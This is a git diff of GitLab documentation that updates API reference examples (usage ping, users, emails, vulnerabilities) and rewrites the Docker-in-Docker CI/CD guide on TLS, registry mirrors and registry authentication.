[Deployed behind a feature flag](../user/feature_flags.md), disabled by default. + +Return all of the raw SQL queries used to compute Usage Ping. + +```plaintext +GET /usage_data/queries +``` + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/usage_data/queries" +``` + +Example response: + +```json +{ + "recorded_at": "2021-03-23T06:31:21.267Z", + "uuid": null, + "hostname": "localhost", + "version": "13.11.0-pre", + "installation_type": "gitlab-development-kit", + "active_user_count": "SELECT COUNT(\"users\".\"id\") FROM \"users\" WHERE (\"users\".\"state\" IN ('active')) AND (\"users\".\"user_type\" IS NULL OR \"users\".\"user_type\" IN (NULL, 6, 4))", + "edition": "EE", + "license_md5": "c701acc03844c45366dd175ef7a4e19c", + "license_id": null, + "historical_max_users": 0, + "licensee": { + "Name": "John Doe1" + }, + "license_user_count": null, + "license_starts_at": "1970-01-01", + "license_expires_at": "2022-02-23", + "license_plan": "starter", + "license_add_ons": { + "GitLab_FileLocks": 1, + "GitLab_Auditor_User": 1 + }, + "license_trial": null, + "license_subscription_id": "0000", + "license": {}, + "settings": { + "ldap_encrypted_secrets_enabled": false, + "operating_system": "mac_os_x-11.2.2" + }, + "counts": { + "assignee_lists": "SELECT COUNT(\"lists\".\"id\") FROM \"lists\" WHERE \"lists\".\"list_type\" = 3", + "boards": "SELECT COUNT(\"boards\".\"id\") FROM \"boards\"", + "ci_builds": "SELECT COUNT(\"ci_builds\".\"id\") FROM \"ci_builds\" WHERE \"ci_builds\".\"type\" = 'Ci::Build'", + "ci_internal_pipelines": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE (\"ci_pipelines\".\"source\" IN (1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13) OR \"ci_pipelines\".\"source\" IS NULL)", + "ci_external_pipelines": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE \"ci_pipelines\".\"source\" = 6", + "ci_pipeline_config_auto_devops": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE \"ci_pipelines\".\"config_source\" = 2", + "ci_pipeline_config_repository": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE \"ci_pipelines\".\"config_source\" = 1", + "ci_runners": "SELECT COUNT(\"ci_runners\".\"id\") FROM \"ci_runners\"", +... +``` + +## UsageDataNonSqlMetrics API + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57050) in GitLab 13.11. +> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default. + +Return all non-SQL metrics data used in the usage ping. + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/usage_data/non_sql_metrics" +``` + +Sample response: + +```json +{ + "recorded_at": "2021-03-26T07:04:03.724Z", + "uuid": null, + "hostname": "localhost", + "version": "13.11.0-pre", + "installation_type": "gitlab-development-kit", + "active_user_count": -3, + "edition": "EE", + "license_md5": "bb8cd0d8a6d9569ff3f70b8927a1f949", + "license_id": null, + "historical_max_users": 0, + "licensee": { + "Name": "John Doe1" + }, + "license_user_count": null, + "license_starts_at": "1970-01-01", + "license_expires_at": "2022-02-26", + "license_plan": "starter", + "license_add_ons": { + "GitLab_FileLocks": 1, + "GitLab_Auditor_User": 1 + }, + "license_trial": null, + "license_subscription_id": "0000", + "license": {}, + "settings": { + "ldap_encrypted_secrets_enabled": false, + "operating_system": "mac_os_x-11.2.2" + }, +... +``` diff --git a/doc/api/users.md b/doc/api/users.md index b8917f3e215..0e4012935f9 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -346,6 +346,7 @@ Example Responses: "two_factor_enabled": true, "external": false, "private_profile": false, + "commit_email": "john-codes@example.com", "current_sign_in_ip": "196.165.1.102", "last_sign_in_ip": "172.127.2.22", "plan": "gold", @@ -440,7 +441,6 @@ Parameters: | `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | | `projects_limit` | No | Number of projects user can create | | `provider` | No | External provider name | -| `public_email` | No | The public email of the user | | `reset_password` | No | Send user password reset link - true or false(default) | | `shared_runners_minutes_limit` | No | Pipeline minutes quota for this user (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` **(STARTER)** | | `skip_confirmation` | No | Skip confirmation - true or false (default) | @@ -483,7 +483,7 @@ Parameters: | `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | | `projects_limit` | No | Limit projects each user can create | | `provider` | No | External provider name | -| `public_email` | No | The public email of the user | +| `public_email` | No | The public email of the user (must be already verified) | | `shared_runners_minutes_limit` | No | Pipeline minutes quota for this user (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` **(STARTER)** | | `skip_reconfirmation` | No | Skip reconfirmation - true or false (default) | | `skype` | No | Skype ID | @@ -622,6 +622,7 @@ GET /user "two_factor_enabled": true, "external": false, "private_profile": false, + "commit_email": "john-codes@example.com", "current_sign_in_ip": "196.165.1.102", "last_sign_in_ip": "172.127.2.22" } @@ -644,6 +645,7 @@ Example response: ```json { "emoji":"coffee", + "availability":"busy", "message":"I crave coffee :coffee:", "message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>", "clear_status_at": null @@ -671,12 +673,35 @@ Example response: ```json { "emoji":"coffee", + "availability":"busy", "message":"I crave coffee :coffee:", "message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>", "clear_status_at": null } ``` +## User preference modification + +Update the current user's preferences. + +```plaintext +PUT /user/preferences +``` + +```json +{ + "id": 1, + "user_id": 1 + "view_diffs_file_by_file": true +} +``` + +Parameters: + +| Attribute | Required | Description | +| :--------------------------- | :------- | :---------------------------------------------------------- | +| `view_diffs_file_by_file` | Yes | Flag indicating the user sees only one file diff per page. | + ## Set user status Set the status of the current user. @@ -1190,11 +1215,13 @@ GET /user/emails [ { "id": 1, - "email": "email@example.com" + "email": "email@example.com", + "confirmed_at" : "2021-03-26T19:07:56.248Z" }, { "id": 3, - "email": "email2@example.com" + "email": "email2@example.com", + "confirmed_at" : null } ] ``` @@ -1234,7 +1261,8 @@ Parameters: ```json { "id": 1, - "email": "email@example.com" + "email": "email@example.com", + "confirmed_at" : "2021-03-26T19:07:56.248Z" } ``` @@ -1253,7 +1281,8 @@ Parameters: ```json { "id": 4, - "email": "email@example.com" + "email": "email@example.com", + "confirmed_at" : "2021-03-26T19:07:56.248Z" } ``` diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md index 8296292c1f8..a7412ca97f1 100644 --- a/doc/api/vulnerabilities.md +++ b/doc/api/vulnerabilities.md @@ -15,9 +15,11 @@ This document now describes the new Vulnerabilities API that provides access to [Vulnerabilities](https://gitlab.com/groups/gitlab-org/-/epics/634). WARNING: -This API is in an alpha stage and considered unstable. +This API is in the process of being deprecated and considered unstable. The response payload may be subject to change or breakage -across GitLab releases. +across GitLab releases. Please use the +[GraphQL API](graphql/reference/index.md#vulnerabilities) +instead. Every API call to vulnerabilities must be [authenticated](README.md#authentication). diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md index 4144a912617..b4791ee8365 100644 --- a/doc/api/vulnerability_findings.md +++ b/doc/api/vulnerability_findings.md @@ -131,6 +131,18 @@ Example response: "version": "1.5.0" } }, + "details": { + "custom_field": { + "name": "URLs", + "type": "list", + "items": [ + { + "type": "url", + "href": "http://site.com/page/1" + } + ] + } + }, "solution": "Upgrade to fixed version.\r\n", "blob_path": "/tests/yarn-remediation-test/blob/cc6c4a0778460455ae5d16ca7025ca9ca1ca75ac/yarn.lock" } diff --git a/doc/api/wikis.md b/doc/api/wikis.md index 1b8d091e3fd..569708cdfcc 100644 --- a/doc/api/wikis.md +++ b/doc/api/wikis.md @@ -9,7 +9,8 @@ type: reference, api > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13372) in GitLab 10.0. -Available only in APIv4. +The project [wikis](../user/project/wiki/index.md) API is available only in APIv4. +An API for [group wikis](group_wikis.md) is also available. ## List wiki pages diff --git a/doc/architecture/blueprints/container_registry_metadata_database/index.md b/doc/architecture/blueprints/container_registry_metadata_database/index.md index f9b59ec92f9..4e40f249e56 100644 --- a/doc/architecture/blueprints/container_registry_metadata_database/index.md +++ b/doc/architecture/blueprints/container_registry_metadata_database/index.md @@ -12,7 +12,7 @@ description: 'Container Registry metadata database' With the [Container Registry](https://gitlab.com/gitlab-org/container-registry) integrated into GitLab, every GitLab project can have its own space to store its Docker images. You can use the registry to build, push and share images using the Docker client, CI/CD or the GitLab API. -Each day on GitLab.com, between [150k and 200k images are pushed to the registry](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9620193&udv=0), generating about [700k API events](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=7601761&udv=0). It’s also worth noting that although some customers use other registry vendors, [more than 96% of instances](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9832282&udv=0) are using the GitLab Container Registry. +Each day on GitLab.com, between [150k and 200k images are pushed to the registry](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9620193&udv=0), generating about [700k API events](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=7601761&udv=0). It's also worth noting that although some customers use other registry vendors, [more than 96% of instances](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9832282&udv=0) are using the GitLab Container Registry. For GitLab.com and for GitLab customers, the Container Registry is a critical component to building and deploying software. @@ -187,7 +187,7 @@ During the discussion of the [initial database schema](https://gitlab.com/gitlab PostgreSQL introduced significant improvements for partitioning in [version 12](https://www.postgresql.org/docs/12/release-12.html#id-1.11.6.9.5), among which we highlight: - It's now possible for foreign keys to reference partitioned tables. This is a hard requirement for this project not only to guarantee consistency and integrity but also to enable cascading deletes at the database level; -- Major performance improvements for inserts, selects, and updates with less locking and consistent performance for a large number of partitions ([benchmarks](https://www.2ndquadrant.com/en/blog/postgresql-12-partitioning)); +- Major performance improvements for inserts, selects, and updates with less locking and consistent performance for a large number of partitions ([benchmarks](https://www.2ndquadrant.com/en/blog/postgresql-12-partitioning/)); - Major improvements to the planning algorithm for tables with a large number of partitions, with some tests finding speedups of up to 10,000 times ([source](https://aws.amazon.com/blogs/database/postgresql-12-a-deep-dive-into-some-new-functionality/)); - Attaching new partitions to an existing table no longer requires locking the entire table; - Bulk load (`COPY`) now uses bulk inserts instead of inserting one row at a time; @@ -343,6 +343,8 @@ A more detailed list of all tasks, as well as periodic progress updates can be f Proposal: +<!-- vale gitlab.Spelling = NO --> + | Role | Who |------------------------------|-------------------------| | Author | João Pereira | diff --git a/doc/ci/README.md b/doc/ci/README.md index b1bcb578daf..b0ebbf920f9 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -99,7 +99,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy | [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | | [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | | [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. | -| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. | +| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. <!--- this seems to be a duplicate description ---> | ## Configuration diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index bfc332e35b1..f2cb9500b2c 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -581,6 +581,9 @@ via the GitLab UI: 1. On the next push, your CI/CD job uses a new cache. +NOTE: +Each time you clear the cache manually, the [internal cache name](#where-the-caches-are-stored) is updated. The name uses the format `cache-<index>`, and the index increments by one each time. The old cache is not deleted. You can manually delete these files from the runner storage. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/ci/chatops/index.md b/doc/ci/chatops/index.md index 48f8e595df6..5f661731660 100644 --- a/doc/ci/chatops/index.md +++ b/doc/ci/chatops/index.md @@ -57,7 +57,7 @@ functions available. Consider these best practices when creating ChatOps jobs: in the project, the job runs. The job itself can use existing [CI/CD variables](../variables/README.md#predefined-cicd-variables) like `GITLAB_USER_ID` to perform additional rights validation, but - these variables can be [overridden](../variables/README.md#priority-of-cicd-variables). + these variables can be [overridden](../variables/README.md#cicd-variable-precedence). ### Controlling the ChatOps reply diff --git a/doc/ci/cloud_deployment/ecs/quick_start_guide.md b/doc/ci/cloud_deployment/ecs/quick_start_guide.md index f75680ccd8c..b9ed38c2c03 100644 --- a/doc/ci/cloud_deployment/ecs/quick_start_guide.md +++ b/doc/ci/cloud_deployment/ecs/quick_start_guide.md @@ -211,7 +211,7 @@ Do not share the secret access key in a public place. You must save it in a secu ### Setup credentials in GitLab to let pipeline jobs access to ECS -You can register the access information in [GitLab Environment Variables](../../variables/README.md#create-a-custom-variable-in-the-ui). +You can register the access information in [GitLab Environment Variables](../../variables/README.md#custom-cicd-variables). These variables are injected into the pipeline jobs and can access the ECS API. 1. Go to **ecs-demo** project on GitLab. diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index 1e53414cd1e..e8f3fe3f4d9 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -117,7 +117,7 @@ After you have these prerequisites ready, follow these steps: 1. Make sure your AWS credentials are set up as CI/CD variables for your project. You can follow [the steps above](#run-aws-commands-from-gitlab-cicd) to complete this setup. 1. Add these variables to your project's `.gitlab-ci.yml` file, or in the project's - [CI/CD settings](../variables/README.md#create-a-custom-variable-in-the-ui): + [CI/CD settings](../variables/README.md#custom-cicd-variables): - `CI_AWS_ECS_CLUSTER`: The name of the AWS ECS cluster that you're targeting for your deployments. - `CI_AWS_ECS_SERVICE`: The name of the targeted service tied to your AWS ECS cluster. @@ -146,7 +146,7 @@ After you have these prerequisites ready, follow these steps: ``` You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a - [file-typed CI/CD variable](../variables/README.md#custom-cicd-variables-of-type-file) instead of a + [file-typed CI/CD variable](../variables/README.md#cicd-variable-types) instead of a regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of the JSON task definition. You can then remove the JSON file from your project. @@ -257,7 +257,7 @@ pass three JSON input objects, based on existing templates: CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json' ``` - - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#custom-cicd-variables-of-type-file). + - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#cicd-variable-types). In your project, go to **Settings > CI/CD > Variables** and add the three variables listed above as file-typed CI/CD variables. For each variable, set the value to its corresponding JSON object. diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 2091a80bdf2..90a33478239 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -31,9 +31,9 @@ to learn more about how these runners are configured. ### Use the shell executor -You can include Docker commands in your CI/CD jobs if your runner is configured to -use the `shell` executor. The `gitlab-runner` user runs the Docker commands, but -needs permission to run them. +To include Docker commands in your CI/CD jobs, you can configure your runner to +use the `shell` executor. In this configuration, the `gitlab-runner` user runs +the Docker commands, but needs permission to do so. 1. [Install](https://gitlab.com/gitlab-org/gitlab-runner/#installation) GitLab Runner. 1. [Register](https://docs.gitlab.com/runner/register/) a runner. @@ -81,76 +81,69 @@ Learn more about the [security of the `docker` group](https://blog.zopyx.com/on- ### Use the Docker executor with the Docker image (Docker-in-Docker) -You can use "Docker-in-Docker" to run commands in your CI/CD jobs: +"Docker-in-Docker" (`dind`) means: -- Register a runner that uses the Docker executor. -- Use the [Docker image](https://hub.docker.com/_/docker/) provided by Docker to - run the jobs that need Docker commands. +- Your registered runner uses the [Docker executor](https://docs.gitlab.com/runner/executors/docker.html). +- The executor uses a [container image of Docker](https://hub.docker.com/_/docker/), provided + by Docker, to run your CI/CD jobs. -The Docker image has all of the `docker` tools installed -and can run the job script in context of the image in privileged mode. +The Docker image has all of the `docker` tools installed and can run +the job script in context of the image in privileged mode. -The `docker-compose` command is not available in this configuration by default. -To use `docker-compose` in your job scripts, follow the `docker-compose` -[installation instructions](https://docs.docker.com/compose/install/). +We recommend you use [Docker-in-Docker with TLS enabled](#docker-in-docker-with-tls-enabled), +which is supported by [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners). -An example project that uses this approach can be found here: <https://gitlab.com/gitlab-examples/docker>. - -WARNING: -When you enable `--docker-privileged`, you are effectively disabling all of -the security mechanisms of containers and exposing your host to privilege -escalation. Doing this can lead to container breakout. For more information, check -out the official Docker documentation on -[runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities). +You should always specify a specific version of the image, like `docker:19.03.12`. +If you use a tag like `docker:stable`, you have no control over which version is used. +Unpredictable behavior can result, especially when new versions are released. #### Limitations of Docker-in-Docker -Docker-in-Docker is the recommended configuration, but it is +Docker-in-Docker is the recommended configuration, but is not without its own challenges: -- When using Docker-in-Docker, each job is in a clean environment without the past - history. Concurrent jobs work fine because every build gets its own - instance of Docker engine so they don't conflict with each other. But this - also means that jobs can be slower because there's no caching of layers. -- By default, Docker 17.09 and higher uses `--storage-driver overlay2` which is - the recommended storage driver. See [Using the OverlayFS driver](#use-the-overlayfs-driver) - for details. -- Since the `docker:19.03.12-dind` container and the runner container don't share their - root file system, the job's working directory can be used as a mount point for +- **The `docker-compose` command**: This command is not available in this configuration by default. + To use `docker-compose` in your job scripts, follow the `docker-compose` + [installation instructions](https://docs.docker.com/compose/install/). +- **Cache**: Each job runs in a new environment. Concurrent jobs work fine, + because every build gets its own instance of Docker engine and they don't conflict with each other. + However, jobs can be slower because there's no caching of layers. +- **Storage drivers**: By default, earlier versions of Docker use the `vfs` storage driver, + which copies the file system for each job. Docker 17.09 and later use `--storage-driver overlay2`, which is + the recommended storage driver. See [Using the OverlayFS driver](#use-the-overlayfs-driver) for details. +- **Root file system**: Because the `docker:19.03.12-dind` container and the runner container don't share their + root file system, you can use the job's working directory as a mount point for child containers. For example, if you have files you want to share with a - child container, you may create a subdirectory under `/builds/$CI_PROJECT_PATH` - and use it as your mount point (for a more thorough explanation, check [issue - #41227](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41227)): + child container, you might create a subdirectory under `/builds/$CI_PROJECT_PATH` + and use it as your mount point. For a more detailed explanation, view [issue + #41227](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41227). ```yaml variables: MOUNT_POINT: /builds/$CI_PROJECT_PATH/mnt - script: - mkdir -p "$MOUNT_POINT" - docker run -v "$MOUNT_POINT:/mnt" my-docker-image ``` -In the examples below, we are using Docker images tags to specify a -specific version, such as `docker:19.03.12`. If tags like `docker:stable` -are used, you have no control over what version is used. This can lead to -unpredictable behavior, especially when new versions are -released. +#### Docker-in-Docker with TLS enabled -#### TLS enabled +> Introduced in GitLab Runner 11.11. -The Docker daemon supports connection over TLS and it's done by default -for Docker 19.03.12 or higher. This is the **suggested** way to use the -Docker-in-Docker service and -[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) -support this. +The Docker daemon supports connections over TLS. In Docker 19.03.12 and later, +TLS is the default. -##### Docker +WARNING: +This task enables `--docker-privileged`. When you do this, you are effectively disabling all of +the security mechanisms of containers and exposing your host to privilege +escalation. Doing this can lead to container breakout. For more information, +see the official Docker documentation about +[runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities). -> Introduced in GitLab Runner 11.11. +To use Docker-in-Docker with TLS enabled: 1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). -1. Register GitLab Runner from the command line to use `docker` and `privileged` +1. Register GitLab Runner from the command line. Use `docker` and `privileged` mode: ```shell @@ -164,18 +157,16 @@ support this. --docker-volumes "/certs/client" ``` - The above command registers a new runner to use the special - `docker:19.03.12` image, which is provided by Docker. **Notice that it's - using the `privileged` mode to start the build and service - containers.** If you want to use [Docker-in-Docker](https://www.docker.com/blog/docker-can-now-run-within-docker/) mode, you always - have to use `privileged = true` in your Docker containers. - - This also mounts `/certs/client` for the service and build - container, which is needed for the Docker client to use the - certificates inside of that directory. For more information on how - Docker with TLS works, check <https://hub.docker.com/_/docker/#tls>. + - This command registers a new runner to use the `docker:19.03.12` image. + To start the build and service containers, it uses the `privileged` mode. + If you want to use [Docker-in-Docker](https://www.docker.com/blog/docker-can-now-run-within-docker/), + you must always use `privileged = true` in your Docker containers. + - This command mounts `/certs/client` for the service and build + container, which is needed for the Docker client to use the + certificates in that directory. For more information on how + Docker with TLS works, see <https://hub.docker.com/_/docker/#tls>. - The above command creates a `config.toml` entry similar to this: + The previous command creates a `config.toml` entry similar to this: ```toml [[runners]] @@ -193,14 +184,14 @@ support this. [runners.cache.gcs] ``` -1. You can now use `docker` in the build script (note the inclusion of the - `docker:19.03.12-dind` service): +1. You can now use `docker` in the job script. Note the inclusion of the + `docker:19.03.12-dind` service: ```yaml image: docker:19.03.12 variables: - # When using dind service, we need to instruct docker to talk with + # When you use the dind service, you must instruct Docker to talk with # the daemon started inside of the service. The daemon is available # with a network connection instead of the default # /var/run/docker.sock socket. Docker 19.03 does this automatically @@ -210,9 +201,9 @@ support this. # The 'docker' hostname is the alias of the service container as described at # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # - # Specify to Docker where to create the certificates, Docker will - # create them automatically on boot, and will create - # `/certs/client` that will be shared between the service and job + # Specify to Docker where to create the certificates. Docker + # creates them automatically on boot, and creates + # `/certs/client` to share between the service and job # container, thanks to volume mount from config.toml DOCKER_TLS_CERTDIR: "/certs" @@ -229,10 +220,12 @@ support this. - docker run my-docker-image /script/to/run/tests ``` -##### Kubernetes +#### Docker-in-Docker with TLS enabled in Kubernetes > [Introduced](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/106) in GitLab Runner Helm Chart 0.23.0. +To use Docker-in-Docker with TLS enabled in Kubernetes: + 1. Using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), update the [`values.yml` file](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/00c1a2098f303dffb910714752e9a981e119f5b5/values.yaml#L133-137) @@ -251,14 +244,14 @@ support this. medium = "Memory" ``` -1. You can now use `docker` in the build script (note the inclusion of the - `docker:19.03.13-dind` service): +1. You can now use `docker` in the job script. Note the inclusion of the + `docker:19.03.13-dind` service: ```yaml image: docker:19.03.13 variables: - # When using dind service, we need to instruct docker to talk with + # When using dind service, you must instruct Docker to talk with # the daemon started inside of the service. The daemon is available # with a network connection instead of the default # /var/run/docker.sock socket. @@ -271,9 +264,9 @@ support this. # Kubernetes executor connects services to the job container # DOCKER_HOST: tcp://localhost:2376 # - # Specify to Docker where to create the certificates, Docker will - # create them automatically on boot, and will create - # `/certs/client` that will be shared between the service and job + # Specify to Docker where to create the certificates. Docker + # creates them automatically on boot, and creates + # `/certs/client` to share between the service and job # container, thanks to volume mount from config.toml DOCKER_TLS_CERTDIR: "/certs" # These are usually specified by the entrypoint, however the @@ -295,9 +288,9 @@ support this. - docker run my-docker-image /script/to/run/tests ``` -#### TLS disabled +#### Docker-in-Docker with TLS disabled -Sometimes there are legitimate reasons why you might want to disable TLS. +Sometimes you might have legitimate reasons to disable TLS. For example, you have no control over the GitLab Runner configuration that you are using. @@ -319,14 +312,14 @@ Assuming that the runner's `config.toml` is similar to: [runners.cache.gcs] ``` -You can now use `docker` in the build script (note the inclusion of the -`docker:19.03.12-dind` service): +You can now use `docker` in the job script. Note the inclusion of the +`docker:19.03.12-dind` service: ```yaml image: docker:19.03.12 variables: - # When using dind service we need to instruct docker, to talk with the + # When using dind service, you must instruct docker to talk with the # daemon started inside of the service. The daemon is available with # a network connection instead of the default /var/run/docker.sock socket. # @@ -340,7 +333,7 @@ variables: # DOCKER_HOST: tcp://docker:2375 # - # This will instruct Docker not to start over TLS. + # This instructs Docker not to start over TLS. DOCKER_TLS_CERTDIR: "" services: @@ -382,10 +375,10 @@ To make Docker available in the context of the image: --docker-volumes /var/run/docker.sock:/var/run/docker.sock ``` - This command registers a new runner to use the special - `docker:19.03.12` image, which is provided by Docker. **The command uses + This command registers a new runner to use the + `docker:19.03.12` image provided by Docker. The command uses the Docker daemon of the runner itself. Any containers spawned by Docker - commands are siblings of the runner rather than children of the runner.** + commands are siblings of the runner rather than children of the runner. This may have complications and limitations that are unsuitable for your workflow. Your `config.toml` file should now have an entry like this: @@ -405,7 +398,7 @@ To make Docker available in the context of the image: Insecure = false ``` -1. Use `docker` in the build script. You don't need to +1. Use `docker` in the job script. You don't need to include the `docker:19.03.12-dind` service, like you do when you're using the Docker-in-Docker executor: @@ -445,20 +438,20 @@ the implications of this method are: When the Docker daemon starts inside of the service container, it uses the default configuration. You may want to configure a [registry mirror](https://docs.docker.com/registry/recipes/mirror/) for -performance improvements and ensuring you don't reach DockerHub rate limits. +performance improvements and to ensure you don't reach Docker Hub rate limits. -##### Inside `.gitlab-ci.yml` +##### The service in the `.gitlab-ci.yml` file You can append extra CLI flags to the `dind` service to set the registry mirror: ```yaml services: - - name: docker:19.03.13-dind - command: ["--registry-mirror", "https://registry-mirror.example.com"] # Specify the registry mirror to use. + - name: docker:19.03.13-dind + command: ["--registry-mirror", "https://registry-mirror.example.com"] # Specify the registry mirror to use ``` -##### DinD service defined inside of GitLab Runner configuration +##### The service in the GitLab Runner configuration file > [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/27173) in GitLab Runner 13.6. @@ -495,7 +488,7 @@ Kubernetes: command = ["--registry-mirror", "https://registry-mirror.example.com"] ``` -##### Docker executor inside GitLab Runner configuration +##### The Docker executor in the GitLab Runner configuration file If you are a GitLab Runner administrator, you can use the mirror for every `dind` service. Update the @@ -528,7 +521,7 @@ picked up by the `dind` service. volumes = ["/opt/docker/daemon.json:/etc/docker/daemon.json:ro"] ``` -##### Kubernetes executor inside GitLab Runner configuration +##### The Kubernetes executor in the GitLab Runner configuration file > [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3223) in GitLab Runner 13.6. @@ -556,7 +549,7 @@ kubectl create configmap docker-daemon --namespace gitlab-runner --from-file /tm ``` NOTE: -Make sure to use the namespace that GitLab Runner Kubernetes executor uses +Make sure to use the namespace that the GitLab Runner Kubernetes executor uses to create job pods in. After the ConfigMap is created, you can update the `config.toml` @@ -577,15 +570,15 @@ The configuration is picked up by the `dind` service. sub_path = "daemon.json" ``` -## Authenticating with registry in Docker-in-Docker +## Authenticate with registry in Docker-in-Docker -When you use Docker-in-Docker, the [normal authentication -methods](using_docker_images.html#define-an-image-from-a-private-container-registry) +When you use Docker-in-Docker, the +[standard authentication methods](using_docker_images.md#define-an-image-from-a-private-container-registry) don't work because a fresh Docker daemon is started with the service. ### Option 1: Run `docker login` -In [`before_script`](../yaml/README.md#before_script) run `docker +In [`before_script`](../yaml/README.md#before_script), run `docker login`: ```yaml @@ -618,12 +611,12 @@ are using the official `docker:19.03.13` image, the home directory is under `/root`. If you mount the configuration file, any `docker` command -that modifies the `~/.docker/config.json` (for example, `docker login`) +that modifies the `~/.docker/config.json` fails. For example, `docker login` fails, because the file is mounted as read-only. Do not change it from read-only, because problems occur. Here is an example of `/opt/.docker/config.json` that follows the -[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data) +[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determine-your-docker_auth_config-data) documentation: ```json @@ -638,8 +631,8 @@ documentation: #### Docker -Update the [volume -mounts](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section) +Update the +[volume mounts](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section) to include the file. ```toml @@ -661,8 +654,7 @@ of this file. You can do this with a command like: kubectl create configmap docker-client-config --namespace gitlab-runner --from-file /opt/.docker/config.json ``` -Update the [volume -mounts](https://docs.gitlab.com/runner/executors/kubernetes.html#using-volumes) +Update the [volume mounts](https://docs.gitlab.com/runner/executors/kubernetes.html#using-volumes) to include the file. ```toml @@ -683,21 +675,19 @@ to include the file. ### Option 3: Use `DOCKER_AUTH_CONFIG` If you already have -[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data) +[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determine-your-docker_auth_config-data) defined, you can use the variable and save it in `~/.docker/config.json`. -There are multiple ways to define this. For example: +There are multiple ways to define this authentication: -- Inside - [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) - inside of the runner configuration file. -- Inside [`before_script`](../yaml/README.md#before_script). -- Inside of [`script`](../yaml/README.md#script). +- In [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) + in the runner configuration file. +- In [`before_script`](../yaml/README.md#before_script). +- In [`script`](../yaml/README.md#script). -Below is an example of -[`before_script`](../yaml/README.md#before_script). The same commands -apply for any solution you implement. +The following example shows [`before_script`](../yaml/README.md#before_script). +The same commands apply for any solution you implement. ```yaml image: docker:19.03.13 @@ -718,10 +708,10 @@ build: - docker run my-docker-image /script/to/run/tests ``` -## Making Docker-in-Docker builds faster with Docker layer caching +## Make Docker-in-Docker builds faster with Docker layer caching When using Docker-in-Docker, Docker downloads all layers of your image every -time you create a build. 